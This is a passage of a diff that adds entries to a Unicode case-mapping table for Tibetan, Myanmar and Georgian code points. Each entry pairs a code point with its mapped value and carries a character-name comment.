+ [0xf33, 0xf33], /* TIBETAN DIGIT HALF ZERO */
+ [0xf34, 0xf34], /* TIBETAN MARK BSDUS RTAGS */
+ [0xf35, 0xf35], /* TIBETAN MARK NGAS BZUNG NYI ZLA (TIBETAN HONORIFIC UNDER RING) */
+ [0xf36, 0xf36], /* TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN */
+ [0xf37, 0xf37], /* TIBETAN MARK NGAS BZUNG SGOR RTAGS (TIBETAN UNDER RING) */
+ [0xf38, 0xf38], /* TIBETAN MARK CHE MGO */
+ [0xf39, 0xf39], /* TIBETAN MARK TSA -PHRU (TIBETAN LENITION MARK) */
+ [0xf3a, 0xf3a], /* TIBETAN MARK GUG RTAGS GYON */
+ [0xf3b, 0xf3b], /* TIBETAN MARK GUG RTAGS GYAS */
+ [0xf3c, 0xf3c], /* TIBETAN MARK ANG KHANG GYON (TIBETAN LEFT BRACE) */
+ [0xf3d, 0xf3d], /* TIBETAN MARK ANG KHANG GYAS (TIBETAN RIGHT BRACE) */
+ [0xf3e, 0xf3e], /* TIBETAN SIGN YAR TSHES */
+ [0xf3f, 0xf3f], /* TIBETAN SIGN MAR TSHES */
+ [0xf40, 0xf40], /* TIBETAN LETTER KA */
+ [0xf41, 0xf41], /* TIBETAN LETTER KHA */
+ [0xf42, 0xf42], /* TIBETAN LETTER GA */
+ [0xf43, 0xf43], /* TIBETAN LETTER GHA */
+ [0xf44, 0xf44], /* TIBETAN LETTER NGA */
+ [0xf45, 0xf45], /* TIBETAN LETTER CA */
+ [0xf46, 0xf46], /* TIBETAN LETTER CHA */
+ [0xf47, 0xf47], /* TIBETAN LETTER JA */
+ [0xf48, 0xf48],
+ [0xf49, 0xf49], /* TIBETAN LETTER NYA */
+ [0xf4a, 0xf4a], /* TIBETAN LETTER TTA (TIBETAN LETTER REVERSED TA) */
+ [0xf4b, 0xf4b], /* TIBETAN LETTER TTHA (TIBETAN LETTER REVERSED THA) */
+ [0xf4c, 0xf4c], /* TIBETAN LETTER DDA (TIBETAN LETTER REVERSED DA) */
+ [0xf4d, 0xf4d], /* TIBETAN LETTER DDHA */
+ [0xf4e, 0xf4e], /* TIBETAN LETTER NNA (TIBETAN LETTER REVERSED NA) */
+ [0xf4f, 0xf4f], /* TIBETAN LETTER TA */
+ [0xf50, 0xf50], /* TIBETAN LETTER THA */
+ [0xf51, 0xf51], /* TIBETAN LETTER DA */
+ [0xf52, 0xf52], /* TIBETAN LETTER DHA */
+ [0xf53, 0xf53], /* TIBETAN LETTER NA */
+ [0xf54, 0xf54], /* TIBETAN LETTER PA */
+ [0xf55, 0xf55], /* TIBETAN LETTER PHA */
+ [0xf56, 0xf56], /* TIBETAN LETTER BA */
+ [0xf57, 0xf57], /* TIBETAN LETTER BHA */
+ [0xf58, 0xf58], /* TIBETAN LETTER MA */
+ [0xf59, 0xf59], /* TIBETAN LETTER TSA */
+ [0xf5a, 0xf5a], /* TIBETAN LETTER TSHA */
+ [0xf5b, 0xf5b], /* TIBETAN LETTER DZA */
+ [0xf5c, 0xf5c], /* TIBETAN LETTER DZHA */
+ [0xf5d, 0xf5d], /* TIBETAN LETTER WA */
+ [0xf5e, 0xf5e], /* TIBETAN LETTER ZHA */
+ [0xf5f, 0xf5f], /* TIBETAN LETTER ZA */
+ [0xf60, 0xf60], /* TIBETAN LETTER -A (TIBETAN LETTER AA) */
+ [0xf61, 0xf61], /* TIBETAN LETTER YA */
+ [0xf62, 0xf62], /* TIBETAN LETTER RA */
+ [0xf63, 0xf63], /* TIBETAN LETTER LA */
+ [0xf64, 0xf64], /* TIBETAN LETTER SHA */
+ [0xf65, 0xf65], /* TIBETAN LETTER SSA (TIBETAN LETTER REVERSED SHA) */
+ [0xf66, 0xf66], /* TIBETAN LETTER SA */
+ [0xf67, 0xf67], /* TIBETAN LETTER HA */
+ [0xf68, 0xf68], /* TIBETAN LETTER A */
+ [0xf69, 0xf69], /* TIBETAN LETTER KSSA */
+ [0xf6a, 0xf6a], /* TIBETAN LETTER FIXED-FORM RA */
+ [0xf6b, 0xf6b], /* TIBETAN LETTER KKA */
+ [0xf6c, 0xf6c], /* TIBETAN LETTER RRA */
+ [0xf6d, 0xf6d],
+ [0xf6e, 0xf6e],
+ [0xf6f, 0xf6f],
+ [0xf70, 0xf70],
+ [0xf71, 0xf71], /* TIBETAN VOWEL SIGN AA */
+ [0xf72, 0xf72], /* TIBETAN VOWEL SIGN I */
+ [0xf73, 0xf73], /* TIBETAN VOWEL SIGN II */
+ [0xf74, 0xf74], /* TIBETAN VOWEL SIGN U */
+ [0xf75, 0xf75], /* TIBETAN VOWEL SIGN UU */
+ [0xf76, 0xf76], /* TIBETAN VOWEL SIGN VOCALIC R */
+ [0xf77, 0xf77], /* TIBETAN VOWEL SIGN VOCALIC RR */
+ [0xf78, 0xf78], /* TIBETAN VOWEL SIGN VOCALIC L */
+ [0xf79, 0xf79], /* TIBETAN VOWEL SIGN VOCALIC LL */
+ [0xf7a, 0xf7a], /* TIBETAN VOWEL SIGN E */
+ [0xf7b, 0xf7b], /* TIBETAN VOWEL SIGN EE (TIBETAN VOWEL SIGN AI) */
+ [0xf7c, 0xf7c], /* TIBETAN VOWEL SIGN O */
+ [0xf7d, 0xf7d], /* TIBETAN VOWEL SIGN OO (TIBETAN VOWEL SIGN AU) */
+ [0xf7e, 0xf7e], /* TIBETAN SIGN RJES SU NGA RO (TIBETAN ANUSVARA) */
+ [0xf7f, 0xf7f], /* TIBETAN SIGN RNAM BCAD (TIBETAN VISARGA) */
+ [0xf80, 0xf80], /* TIBETAN VOWEL SIGN REVERSED I (TIBETAN VOWEL SIGN SHORT I) */
+ [0xf81, 0xf81], /* TIBETAN VOWEL SIGN REVERSED II */
+ [0xf82, 0xf82], /* TIBETAN SIGN NYI ZLA NAA DA (TIBETAN CANDRABINDU WITH ORNAMENT) */
+ [0xf83, 0xf83], /* TIBETAN SIGN SNA LDAN (TIBETAN CANDRABINDU) */
+ [0xf84, 0xf84], /* TIBETAN MARK HALANTA (TIBETAN VIRAMA) */
+ [0xf85, 0xf85], /* TIBETAN MARK PALUTA (TIBETAN CHUCHENYIGE) */
+ [0xf86, 0xf86], /* TIBETAN SIGN LCI RTAGS */
+ [0xf87, 0xf87], /* TIBETAN SIGN YANG RTAGS */
+ [0xf88, 0xf88], /* TIBETAN SIGN LCE TSA CAN */
+ [0xf89, 0xf89], /* TIBETAN SIGN MCHU CAN */
+ [0xf8a, 0xf8a], /* TIBETAN SIGN GRU CAN RGYINGS */
+ [0xf8b, 0xf8b], /* TIBETAN SIGN GRU MED RGYINGS */
+ [0xf8c, 0xf8c], /* TIBETAN SIGN INVERTED MCHU CAN */
+ [0xf8d, 0xf8d], /* TIBETAN SUBJOINED SIGN LCE TSA CAN */
+ [0xf8e, 0xf8e], /* TIBETAN SUBJOINED SIGN MCHU CAN */
+ [0xf8f, 0xf8f], /* TIBETAN SUBJOINED SIGN INVERTED MCHU CAN */
+ [0xf90, 0xf90], /* TIBETAN SUBJOINED LETTER KA */
+ [0xf91, 0xf91], /* TIBETAN SUBJOINED LETTER KHA */
+ [0xf92, 0xf92], /* TIBETAN SUBJOINED LETTER GA */
+ [0xf93, 0xf93], /* TIBETAN SUBJOINED LETTER GHA */
+ [0xf94, 0xf94], /* TIBETAN SUBJOINED LETTER NGA */
+ [0xf95, 0xf95], /* TIBETAN SUBJOINED LETTER CA */
+ [0xf96, 0xf96], /* TIBETAN SUBJOINED LETTER CHA */
+ [0xf97, 0xf97], /* TIBETAN SUBJOINED LETTER JA */
+ [0xf98, 0xf98],
+ [0xf99, 0xf99], /* TIBETAN SUBJOINED LETTER NYA */
+ [0xf9a, 0xf9a], /* TIBETAN SUBJOINED LETTER TTA */
+ [0xf9b, 0xf9b], /* TIBETAN SUBJOINED LETTER TTHA */
+ [0xf9c, 0xf9c], /* TIBETAN SUBJOINED LETTER DDA */
+ [0xf9d, 0xf9d], /* TIBETAN SUBJOINED LETTER DDHA */
+ [0xf9e, 0xf9e], /* TIBETAN SUBJOINED LETTER NNA */
+ [0xf9f, 0xf9f], /* TIBETAN SUBJOINED LETTER TA */
+ [0xfa0, 0xfa0], /* TIBETAN SUBJOINED LETTER THA */
+ [0xfa1, 0xfa1], /* TIBETAN SUBJOINED LETTER DA */
+ [0xfa2, 0xfa2], /* TIBETAN SUBJOINED LETTER DHA */
+ [0xfa3, 0xfa3], /* TIBETAN SUBJOINED LETTER NA */
+ [0xfa4, 0xfa4], /* TIBETAN SUBJOINED LETTER PA */
+ [0xfa5, 0xfa5], /* TIBETAN SUBJOINED LETTER PHA */
+ [0xfa6, 0xfa6], /* TIBETAN SUBJOINED LETTER BA */
+ [0xfa7, 0xfa7], /* TIBETAN SUBJOINED LETTER BHA */
+ [0xfa8, 0xfa8], /* TIBETAN SUBJOINED LETTER MA */
+ [0xfa9, 0xfa9], /* TIBETAN SUBJOINED LETTER TSA */
+ [0xfaa, 0xfaa], /* TIBETAN SUBJOINED LETTER TSHA */
+ [0xfab, 0xfab], /* TIBETAN SUBJOINED LETTER DZA */
+ [0xfac, 0xfac], /* TIBETAN SUBJOINED LETTER DZHA */
+ [0xfad, 0xfad], /* TIBETAN SUBJOINED LETTER WA */
+ [0xfae, 0xfae], /* TIBETAN SUBJOINED LETTER ZHA */
+ [0xfaf, 0xfaf], /* TIBETAN SUBJOINED LETTER ZA */
+ [0xfb0, 0xfb0], /* TIBETAN SUBJOINED LETTER -A */
+ [0xfb1, 0xfb1], /* TIBETAN SUBJOINED LETTER YA */
+ [0xfb2, 0xfb2], /* TIBETAN SUBJOINED LETTER RA */
+ [0xfb3, 0xfb3], /* TIBETAN SUBJOINED LETTER LA */
+ [0xfb4, 0xfb4], /* TIBETAN SUBJOINED LETTER SHA */
+ [0xfb5, 0xfb5], /* TIBETAN SUBJOINED LETTER SSA */
+ [0xfb6, 0xfb6], /* TIBETAN SUBJOINED LETTER SA */
+ [0xfb7, 0xfb7], /* TIBETAN SUBJOINED LETTER HA */
+ [0xfb8, 0xfb8], /* TIBETAN SUBJOINED LETTER A */
+ [0xfb9, 0xfb9], /* TIBETAN SUBJOINED LETTER KSSA */
+ [0xfba, 0xfba], /* TIBETAN SUBJOINED LETTER FIXED-FORM WA */
+ [0xfbb, 0xfbb], /* TIBETAN SUBJOINED LETTER FIXED-FORM YA */
+ [0xfbc, 0xfbc], /* TIBETAN SUBJOINED LETTER FIXED-FORM RA */
+ [0xfbd, 0xfbd],
+ [0xfbe, 0xfbe], /* TIBETAN KU RU KHA */
+ [0xfbf, 0xfbf], /* TIBETAN KU RU KHA BZHI MIG CAN */
+ [0xfc0, 0xfc0], /* TIBETAN CANTILLATION SIGN HEAVY BEAT */
+ [0xfc1, 0xfc1], /* TIBETAN CANTILLATION SIGN LIGHT BEAT */
+ [0xfc2, 0xfc2], /* TIBETAN CANTILLATION SIGN CANG TE-U */
+ [0xfc3, 0xfc3], /* TIBETAN CANTILLATION SIGN SBUB -CHAL */
+ [0xfc4, 0xfc4], /* TIBETAN SYMBOL DRIL BU */
+ [0xfc5, 0xfc5], /* TIBETAN SYMBOL RDO RJE */
+ [0xfc6, 0xfc6], /* TIBETAN SYMBOL PADMA GDAN */
+ [0xfc7, 0xfc7], /* TIBETAN SYMBOL RDO RJE RGYA GRAM */
+ [0xfc8, 0xfc8], /* TIBETAN SYMBOL PHUR PA */
+ [0xfc9, 0xfc9], /* TIBETAN SYMBOL NOR BU */
+ [0xfca, 0xfca], /* TIBETAN SYMBOL NOR BU NYIS -KHYIL */
+ [0xfcb, 0xfcb], /* TIBETAN SYMBOL NOR BU GSUM -KHYIL */
+ [0xfcc, 0xfcc], /* TIBETAN SYMBOL NOR BU BZHI -KHYIL */
+ [0xfcd, 0xfcd],
+ [0xfce, 0xfce], /* TIBETAN SIGN RDEL NAG RDEL DKAR */
+ [0xfcf, 0xfcf], /* TIBETAN SIGN RDEL NAG GSUM */
+ [0xfd0, 0xfd0], /* TIBETAN MARK BSKA- SHOG GI MGO RGYAN */
+ [0xfd1, 0xfd1], /* TIBETAN MARK MNYAM YIG GI MGO RGYAN */
+ [0xfd2, 0xfd2], /* TIBETAN MARK NYIS TSHEG */
+ [0xfd3, 0xfd3], /* TIBETAN MARK INITIAL BRDA RNYING YIG MGO MDUN MA */
+ [0xfd4, 0xfd4], /* TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA */
+ [0xfd5, 0xfd5], /* RIGHT-FACING SVASTI SIGN */
+ [0xfd6, 0xfd6], /* LEFT-FACING SVASTI SIGN */
+ [0xfd7, 0xfd7], /* RIGHT-FACING SVASTI SIGN WITH DOTS */
+ [0xfd8, 0xfd8], /* LEFT-FACING SVASTI SIGN WITH DOTS */
+ [0xfd9, 0xfd9], /* TIBETAN MARK LEADING MCHAN RTAGS */
+ [0xfda, 0xfda], /* TIBETAN MARK TRAILING MCHAN RTAGS */
+ [0xfdb, 0xfdb],
+ [0xfdc, 0xfdc],
+ [0xfdd, 0xfdd],
+ [0xfde, 0xfde],
+ [0xfdf, 0xfdf],
+ [0xfe0, 0xfe0],
+ [0xfe1, 0xfe1],
+ [0xfe2, 0xfe2],
+ [0xfe3, 0xfe3],
+ [0xfe4, 0xfe4],
+ [0xfe5, 0xfe5],
+ [0xfe6, 0xfe6],
+ [0xfe7, 0xfe7],
+ [0xfe8, 0xfe8],
+ [0xfe9, 0xfe9],
+ [0xfea, 0xfea],
+ [0xfeb, 0xfeb],
+ [0xfec, 0xfec],
+ [0xfed, 0xfed],
+ [0xfee, 0xfee],
+ [0xfef, 0xfef],
+ [0xff0, 0xff0],
+ [0xff1, 0xff1],
+ [0xff2, 0xff2],
+ [0xff3, 0xff3],
+ [0xff4, 0xff4],
+ [0xff5, 0xff5],
+ [0xff6, 0xff6],
+ [0xff7, 0xff7],
+ [0xff8, 0xff8],
+ [0xff9, 0xff9],
+ [0xffa, 0xffa],
+ [0xffb, 0xffb],
+ [0xffc, 0xffc],
+ [0xffd, 0xffd],
+ [0xffe, 0xffe],
+ [0xfff, 0xfff],
+ [0x1000, 0x1000], /* MYANMAR LETTER KA */
+ [0x1001, 0x1001], /* MYANMAR LETTER KHA */
+ [0x1002, 0x1002], /* MYANMAR LETTER GA */
+ [0x1003, 0x1003], /* MYANMAR LETTER GHA */
+ [0x1004, 0x1004], /* MYANMAR LETTER NGA */
+ [0x1005, 0x1005], /* MYANMAR LETTER CA */
+ [0x1006, 0x1006], /* MYANMAR LETTER CHA */
+ [0x1007, 0x1007], /* MYANMAR LETTER JA */
+ [0x1008, 0x1008], /* MYANMAR LETTER JHA */
+ [0x1009, 0x1009], /* MYANMAR LETTER NYA */
+ [0x100a, 0x100a], /* MYANMAR LETTER NNYA */
+ [0x100b, 0x100b], /* MYANMAR LETTER TTA */
+ [0x100c, 0x100c], /* MYANMAR LETTER TTHA */
+ [0x100d, 0x100d], /* MYANMAR LETTER DDA */
+ [0x100e, 0x100e], /* MYANMAR LETTER DDHA */
+ [0x100f, 0x100f], /* MYANMAR LETTER NNA */
+ [0x1010, 0x1010], /* MYANMAR LETTER TA */
+ [0x1011, 0x1011], /* MYANMAR LETTER THA */
+ [0x1012, 0x1012], /* MYANMAR LETTER DA */
+ [0x1013, 0x1013], /* MYANMAR LETTER DHA */
+ [0x1014, 0x1014], /* MYANMAR LETTER NA */
+ [0x1015, 0x1015], /* MYANMAR LETTER PA */
+ [0x1016, 0x1016], /* MYANMAR LETTER PHA */
+ [0x1017, 0x1017], /* MYANMAR LETTER BA */
+ [0x1018, 0x1018], /* MYANMAR LETTER BHA */
+ [0x1019, 0x1019], /* MYANMAR LETTER MA */
+ [0x101a, 0x101a], /* MYANMAR LETTER YA */
+ [0x101b, 0x101b], /* MYANMAR LETTER RA */
+ [0x101c, 0x101c], /* MYANMAR LETTER LA */
+ [0x101d, 0x101d], /* MYANMAR LETTER WA */
+ [0x101e, 0x101e], /* MYANMAR LETTER SA */
+ [0x101f, 0x101f], /* MYANMAR LETTER HA */
+ [0x1020, 0x1020], /* MYANMAR LETTER LLA */
+ [0x1021, 0x1021], /* MYANMAR LETTER A */
+ [0x1022, 0x1022], /* MYANMAR LETTER SHAN A */
+ [0x1023, 0x1023], /* MYANMAR LETTER I */
+ [0x1024, 0x1024], /* MYANMAR LETTER II */
+ [0x1025, 0x1025], /* MYANMAR LETTER U */
+ [0x1026, 0x1026], /* MYANMAR LETTER UU */
+ [0x1027, 0x1027], /* MYANMAR LETTER E */
+ [0x1028, 0x1028], /* MYANMAR LETTER MON E */
+ [0x1029, 0x1029], /* MYANMAR LETTER O */
+ [0x102a, 0x102a], /* MYANMAR LETTER AU */
+ [0x102b, 0x102b], /* MYANMAR VOWEL SIGN TALL AA */
+ [0x102c, 0x102c], /* MYANMAR VOWEL SIGN AA */
+ [0x102d, 0x102d], /* MYANMAR VOWEL SIGN I */
+ [0x102e, 0x102e], /* MYANMAR VOWEL SIGN II */
+ [0x102f, 0x102f], /* MYANMAR VOWEL SIGN U */
+ [0x1030, 0x1030], /* MYANMAR VOWEL SIGN UU */
+ [0x1031, 0x1031], /* MYANMAR VOWEL SIGN E */
+ [0x1032, 0x1032], /* MYANMAR VOWEL SIGN AI */
+ [0x1033, 0x1033], /* MYANMAR VOWEL SIGN MON II */
+ [0x1034, 0x1034], /* MYANMAR VOWEL SIGN MON O */
+ [0x1035, 0x1035], /* MYANMAR VOWEL SIGN E ABOVE */
+ [0x1036, 0x1036], /* MYANMAR SIGN ANUSVARA */
+ [0x1037, 0x1037], /* MYANMAR SIGN DOT BELOW */
+ [0x1038, 0x1038], /* MYANMAR SIGN VISARGA */
+ [0x1039, 0x1039], /* MYANMAR SIGN VIRAMA */
+ [0x103a, 0x103a], /* MYANMAR SIGN ASAT */
+ [0x103b, 0x103b], /* MYANMAR CONSONANT SIGN MEDIAL YA */
+ [0x103c, 0x103c], /* MYANMAR CONSONANT SIGN MEDIAL RA */
+ [0x103d, 0x103d], /* MYANMAR CONSONANT SIGN MEDIAL WA */
+ [0x103e, 0x103e], /* MYANMAR CONSONANT SIGN MEDIAL HA */
+ [0x103f, 0x103f], /* MYANMAR LETTER GREAT SA */
+ [0x1040, 0x1040], /* MYANMAR DIGIT ZERO */
+ [0x1041, 0x1041], /* MYANMAR DIGIT ONE */
+ [0x1042, 0x1042], /* MYANMAR DIGIT TWO */
+ [0x1043, 0x1043], /* MYANMAR DIGIT THREE */
+ [0x1044, 0x1044], /* MYANMAR DIGIT FOUR */
+ [0x1045, 0x1045], /* MYANMAR DIGIT FIVE */
+ [0x1046, 0x1046], /* MYANMAR DIGIT SIX */
+ [0x1047, 0x1047], /* MYANMAR DIGIT SEVEN */
+ [0x1048, 0x1048], /* MYANMAR DIGIT EIGHT */
+ [0x1049, 0x1049], /* MYANMAR DIGIT NINE */
+ [0x104a, 0x104a], /* MYANMAR SIGN LITTLE SECTION */
+ [0x104b, 0x104b], /* MYANMAR SIGN SECTION */
+ [0x104c, 0x104c], /* MYANMAR SYMBOL LOCATIVE */
+ [0x104d, 0x104d], /* MYANMAR SYMBOL COMPLETED */
+ [0x104e, 0x104e], /* MYANMAR SYMBOL AFOREMENTIONED */
+ [0x104f, 0x104f], /* MYANMAR SYMBOL GENITIVE */
+ [0x1050, 0x1050], /* MYANMAR LETTER SHA */
+ [0x1051, 0x1051], /* MYANMAR LETTER SSA */
+ [0x1052, 0x1052], /* MYANMAR LETTER VOCALIC R */
+ [0x1053, 0x1053], /* MYANMAR LETTER VOCALIC RR */
+ [0x1054, 0x1054], /* MYANMAR LETTER VOCALIC L */
+ [0x1055, 0x1055], /* MYANMAR LETTER VOCALIC LL */
+ [0x1056, 0x1056], /* MYANMAR VOWEL SIGN VOCALIC R */
+ [0x1057, 0x1057], /* MYANMAR VOWEL SIGN VOCALIC RR */
+ [0x1058, 0x1058], /* MYANMAR VOWEL SIGN VOCALIC L */
+ [0x1059, 0x1059], /* MYANMAR VOWEL SIGN VOCALIC LL */
+ [0x105a, 0x105a], /* MYANMAR LETTER MON NGA */
+ [0x105b, 0x105b], /* MYANMAR LETTER MON JHA */
+ [0x105c, 0x105c], /* MYANMAR LETTER MON BBA */
+ [0x105d, 0x105d], /* MYANMAR LETTER MON BBE */
+ [0x105e, 0x105e], /* MYANMAR CONSONANT SIGN MON MEDIAL NA */
+ [0x105f, 0x105f], /* MYANMAR CONSONANT SIGN MON MEDIAL MA */
+ [0x1060, 0x1060], /* MYANMAR CONSONANT SIGN MON MEDIAL LA */
+ [0x1061, 0x1061], /* MYANMAR LETTER SGAW KAREN SHA */
+ [0x1062, 0x1062], /* MYANMAR VOWEL SIGN SGAW KAREN EU */
+ [0x1063, 0x1063], /* MYANMAR TONE MARK SGAW KAREN HATHI */
+ [0x1064, 0x1064], /* MYANMAR TONE MARK SGAW KAREN KE PHO */
+ [0x1065, 0x1065], /* MYANMAR LETTER WESTERN PWO KAREN THA */
+ [0x1066, 0x1066], /* MYANMAR LETTER WESTERN PWO KAREN PWA */
+ [0x1067, 0x1067], /* MYANMAR VOWEL SIGN WESTERN PWO KAREN EU */
+ [0x1068, 0x1068], /* MYANMAR VOWEL SIGN WESTERN PWO KAREN UE */
+ [0x1069, 0x1069], /* MYANMAR SIGN WESTERN PWO KAREN TONE-1 */
+ [0x106a, 0x106a], /* MYANMAR SIGN WESTERN PWO KAREN TONE-2 */
+ [0x106b, 0x106b], /* MYANMAR SIGN WESTERN PWO KAREN TONE-3 */
+ [0x106c, 0x106c], /* MYANMAR SIGN WESTERN PWO KAREN TONE-4 */
+ [0x106d, 0x106d], /* MYANMAR SIGN WESTERN PWO KAREN TONE-5 */
+ [0x106e, 0x106e], /* MYANMAR LETTER EASTERN PWO KAREN NNA */
+ [0x106f, 0x106f], /* MYANMAR LETTER EASTERN PWO KAREN YWA */
+ [0x1070, 0x1070], /* MYANMAR LETTER EASTERN PWO KAREN GHWA */
+ [0x1071, 0x1071], /* MYANMAR VOWEL SIGN GEBA KAREN I */
+ [0x1072, 0x1072], /* MYANMAR VOWEL SIGN KAYAH OE */
+ [0x1073, 0x1073], /* MYANMAR VOWEL SIGN KAYAH U */
+ [0x1074, 0x1074], /* MYANMAR VOWEL SIGN KAYAH EE */
+ [0x1075, 0x1075], /* MYANMAR LETTER SHAN KA */
+ [0x1076, 0x1076], /* MYANMAR LETTER SHAN KHA */
+ [0x1077, 0x1077], /* MYANMAR LETTER SHAN GA */
+ [0x1078, 0x1078], /* MYANMAR LETTER SHAN CA */
+ [0x1079, 0x1079], /* MYANMAR LETTER SHAN ZA */
+ [0x107a, 0x107a], /* MYANMAR LETTER SHAN NYA */
+ [0x107b, 0x107b], /* MYANMAR LETTER SHAN DA */
+ [0x107c, 0x107c], /* MYANMAR LETTER SHAN NA */
+ [0x107d, 0x107d], /* MYANMAR LETTER SHAN PHA */
+ [0x107e, 0x107e], /* MYANMAR LETTER SHAN FA */
+ [0x107f, 0x107f], /* MYANMAR LETTER SHAN BA */
+ [0x1080, 0x1080], /* MYANMAR LETTER SHAN THA */
+ [0x1081, 0x1081], /* MYANMAR LETTER SHAN HA */
+ [0x1082, 0x1082], /* MYANMAR CONSONANT SIGN SHAN MEDIAL WA */
+ [0x1083, 0x1083], /* MYANMAR VOWEL SIGN SHAN AA */
+ [0x1084, 0x1084], /* MYANMAR VOWEL SIGN SHAN E */
+ [0x1085, 0x1085], /* MYANMAR VOWEL SIGN SHAN E ABOVE */
+ [0x1086, 0x1086], /* MYANMAR VOWEL SIGN SHAN FINAL Y */
+ [0x1087, 0x1087], /* MYANMAR SIGN SHAN TONE-2 */
+ [0x1088, 0x1088], /* MYANMAR SIGN SHAN TONE-3 */
+ [0x1089, 0x1089], /* MYANMAR SIGN SHAN TONE-5 */
+ [0x108a, 0x108a], /* MYANMAR SIGN SHAN TONE-6 */
+ [0x108b, 0x108b], /* MYANMAR SIGN SHAN COUNCIL TONE-2 */
+ [0x108c, 0x108c], /* MYANMAR SIGN SHAN COUNCIL TONE-3 */
+ [0x108d, 0x108d], /* MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE */
+ [0x108e, 0x108e], /* MYANMAR LETTER RUMAI PALAUNG FA */
+ [0x108f, 0x108f], /* MYANMAR SIGN RUMAI PALAUNG TONE-5 */
+ [0x1090, 0x1090], /* MYANMAR SHAN DIGIT ZERO */
+ [0x1091, 0x1091], /* MYANMAR SHAN DIGIT ONE */
+ [0x1092, 0x1092], /* MYANMAR SHAN DIGIT TWO */
+ [0x1093, 0x1093], /* MYANMAR SHAN DIGIT THREE */
+ [0x1094, 0x1094], /* MYANMAR SHAN DIGIT FOUR */
+ [0x1095, 0x1095], /* MYANMAR SHAN DIGIT FIVE */
+ [0x1096, 0x1096], /* MYANMAR SHAN DIGIT SIX */
+ [0x1097, 0x1097], /* MYANMAR SHAN DIGIT SEVEN */
+ [0x1098, 0x1098], /* MYANMAR SHAN DIGIT EIGHT */
+ [0x1099, 0x1099], /* MYANMAR SHAN DIGIT NINE */
+ [0x109a, 0x109a], /* MYANMAR SIGN KHAMTI TONE-1 */
+ [0x109b, 0x109b], /* MYANMAR SIGN KHAMTI TONE-3 */
+ [0x109c, 0x109c], /* MYANMAR VOWEL SIGN AITON A */
+ [0x109d, 0x109d], /* MYANMAR VOWEL SIGN AITON AI */
+ [0x109e, 0x109e], /* MYANMAR SYMBOL SHAN ONE */
+ [0x109f, 0x109f], /* MYANMAR SYMBOL SHAN EXCLAMATION */
+ [0x10a0, 0x2d00], /* GEORGIAN CAPITAL LETTER AN */
+ [0x10a1, 0x2d01], /* GEORGIAN CAPITAL LETTER BAN */
+ [0x10a2, 0x2d02], /* GEORGIAN CAPITAL LETTER GAN */
+ [0x10a3, 0x2d03], /* GEORGIAN CAPITAL LETTER DON */
+ [0x10a4, 0x2d04], /* GEORGIAN CAPITAL LETTER EN */
+ [0x10a5, 0x2d05], /* GEORGIAN CAPITAL LETTER VIN */
+ [0x10a6, 0x2d06], /* GEORGIAN CAPITAL LETTER ZEN */
+ [0x10a7, 0x2d07], /* GEORGIAN CAPITAL LETTER TAN */
+ [0x10a8, 0x2d08], /* GEORGIAN CAPITAL LETTER IN */
+ [0x10a9, 0x2d09], /* GEORGIAN CAPITAL LETTER KAN */
+ [0x10aa, 0x2d0a], /* GEORGIAN CAPITAL LETTER LAS */
+ [0x10ab, 0x2d0b], /* GEORGIAN CAPITAL LETTER MAN */
+ [0x10ac, 0x2d0c], /* GEORGIAN CAPITAL LETTER NAR */
+ [0x10ad, 0x2d0d], /* GEORGIAN CAPITAL LETTER ON */
+ [0x10ae, 0x2d0e], /* GEORGIAN CAPITAL LETTER PAR */
+ [0x10af, 0x2d0f], /* GEORGIAN CAPITAL LETTER ZHAR */
+ [0x10b0, 0x2d10], /* GEORGIAN CAPITAL LETTER RAE */
+ [0x10b1, 0x2d11], /* GEORGIAN CAPITAL LETTER SAN */
+ [0x10b2, 0x2d12], /* GEORGIAN CAPITAL LETTER TAR */
+ [0x10b3, 0x2d13], /* GEORGIAN CAPITAL LETTER UN */
+ [0x10b4, 0x2d14], /* GEORGIAN CAPITAL LETTER PHAR */
+ [0x10b5, 0x2d15], /* GEORGIAN CAPITAL LETTER KHAR */
+ [0x10b6, 0x2d16], /* GEORGIAN CAPITAL LETTER GHAN */
+ [0x10b7, 0x2d17], /* GEORGIAN CAPITAL LETTER QAR */
+ [0x10b8, 0x2d18], /* GEORGIAN CAPITAL LETTER SHIN */
+ [0x10b9, 0x2d19], /* GEORGIAN CAPITAL LETTER CHIN */
+ [0x10ba, 0x2d1a], /* GEORGIAN CAPITAL LETTER CAN */
+ [0x10bb, 0x2d1b], /* GEORGIAN CAPITAL LETTER JIL */
+ [0x10bc, 0x2d1c], /* GEORGIAN CAPITAL LETTER CIL */
+ [0x10bd, 0x2d1d], /* GEORGIAN CAPITAL LETTER CHAR */
+ [0x10be, 0x2d1e], /* GEORGIAN CAPITAL LETTER XAN */
+ [0x10bf, 0x2d1f], /* GEORGIAN CAPITAL LETTER JHAN */
+ [0x10c0, 0x2d20], /* GEORGIAN CAPITAL LETTER HAE */
+ [0x10c1, 0x2d21], /* GEORGIAN CAPITAL LETTER HE */
+ [0x10c2, 0x2d22], /* GEORGIAN CAPITAL LETTER HIE */
+ [0x10c3, 0x2d23], /* GEORGIAN CAPITAL LETTER WE */
+ [0x10c4, 0x2d24], /* GEORGIAN CAPITAL LETTER HAR */
+ [0x10c5, 0x2d25], /* GEORGIAN CAPITAL LETTER HOE */
+ [0x10c6, 0x10c6],
+ [0x10c7, 0x2d27], /* GEORGIAN CAPITAL LETTER YN */
+ [0x10c8, 0x10c8],
+ [0x10c9, 0x10c9],
+ [0x10ca, 0x10ca],
+ [0x10cb, 0x10cb],
+ [0x10cc, 0x10cc],
+ [0x10cd, 0x2d2d], /* GEORGIAN CAPITAL LETTER AEN */
+ [0x10ce, 0x10ce],
+ [0x10cf, 0x10cf],
+ [0x10d0, 0x10d0], /* GEORGIAN LETTER AN (GEORGIAN SMALL LETTER AN) */
+ [0x10d1, 0x10d1], /* GEORGIAN LETTER BAN (GEORGIAN SMALL LETTER BAN) */
+ [0x10d2, 0x10d2], /* GEORGIAN LETTER GAN (GEORGIAN SMALL LETTER GAN) */
+ [0x10d3, 0x10d3], /* GEORGIAN LETTER DON (GEORGIAN SMALL LETTER DON) */
+ [0x10d4, 0x10d4], /* GEORGIAN LETTER EN (GEORGIAN SMALL LETTER EN) */
+ [0x10d5, 0x10d5], /* GEORGIAN LETTER VIN (GEORGIAN SMALL LETTER VIN) */
+ [0x10d6, 0x10d6], /* GEORGIAN LETTER ZEN (GEORGIAN SMALL LETTER ZEN) */
